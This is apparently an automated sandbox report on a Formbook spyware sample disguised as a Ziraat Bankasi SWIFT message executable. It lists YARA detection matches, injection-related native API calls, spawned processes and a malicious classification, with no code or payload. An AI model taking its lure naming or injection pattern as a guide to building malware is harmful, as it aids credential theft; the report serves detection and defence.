          Source: Process Memory Space: systray.exe PID: 1312, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
          Source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
          Source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000006.00000002.451409709.0000000001150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: Process Memory Space: Ziraat Bankasi Swift Mesaji20221129-34221.exe PID: 1308, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: systray.exe PID: 1312, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_01740798
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017451AC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_01748578
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_01748588
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017404F8
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017404E8
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_01748759
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_01740789
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05496E40
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05496E50
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05495474
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_0549F0C0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_0549F0AF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEA3F9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEAFC0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEAFBA
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEEEB0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEEEA2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127F900
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134E824
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A830
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331002
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013420A8
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B090
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013428EC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01342B28
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AB40
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AEBB0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133DBD2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013303DA
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132FA2B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013422AE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01270D20
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01342D07
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01341D55
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2581
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128D5E0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013425DD
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128841F
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133D466
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01341FF1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134DFCE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01296E30
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133D616
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01342EF7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004012AC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004228FF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00422330
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0040B447
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004044C7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004044BE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0042258E
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0040FE77
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004046E7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: String function: 0127B150 appears 72 times
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9910 NtAdjustPrivilegesToken,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B99A0 NtCreateSection,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9860 NtQuerySystemInformation,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9840 NtDelayExecution,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B98F0 NtReadVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A20 NtResumeThread,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A00 NtProtectVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A50 NtCreateFile,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9540 NtReadFile,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B95D0 NtClose,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9710 NtQueryInformationToken,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B97A0 NtUnmapViewOfSection,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9780 NtMapViewOfSection,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9FE0 NtCreateMutant,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9660 NtAllocateVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B96E0 NtFreeVirtualMemory,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9950 NtQueueApcThread,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B99D0 NtCreateProcessEx,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9820 NtEnumerateKey,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BB040 NtSuspendThread,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B98A0 NtWriteVirtualMemory,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9B00 NtSetValueKey,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BA3B0 NtGetContextThread,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A10 NtQuerySection,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A80 NtOpenDirectoryObject,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9520 NtWaitForSingleObject,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BAD30 NtSetContextThread,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9560 NtWriteFile,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B95F0 NtQueryInformationFile,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9730 NtQueryVirtualMemory,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BA710 NtOpenProcessToken,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9760 NtOpenProcess,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BA770 NtOpenThread,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9770 NtSetInformationFile,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9610 NtEnumerateValueKey,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9670 NtQueryInformationProcess,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9650 NtQueryValueKey,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B96D0 NtCreateKey,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041E057 NtAllocateVirtualMemory,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004012AC NtProtectVirtualMemory,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041DE77 NtCreateFile,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041DF27 NtReadFile,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041DFA7 NtClose,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004014E9 NtProtectVirtualMemory,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041DFA1 NtClose,
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000000.289716737.0000000000BD2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamebqbz.exe< vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.338665766.0000000007830000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameCollins.dll8 vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.331494195.0000000004121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCollins.dll8 vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.338561208.00000000076C0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenamePrecision.dll6 vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.338627282.00000000076E0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameInspector.dllN vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePrecision.dll6 vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameInspector.dllN vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.328808477.00000000011D9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.318980299.000000000102D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeBinary or memory string: OriginalFilenamebqbz.exe< vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeVirustotal: Detection: 44%
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeReversingLabs: Detection: 39%
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
          Source: unknownProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Windows\SysWOW64\systray.exe C:\Windows\SysWOW64\systray.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Windows\SysWOW64\systray.exe C:\Windows\SysWOW64\systray.exe
          Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Ziraat Bankasi Swift Mesaji20221129-34221.exe.logJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeFile created: C:\Users\user\AppData\Local\Temp\q3W1-4699Jump to behavior
          Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@4/4
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/J5dcUKfIRNXI7lm7dD.csCryptographic APIs: 'CreateDecryptor'
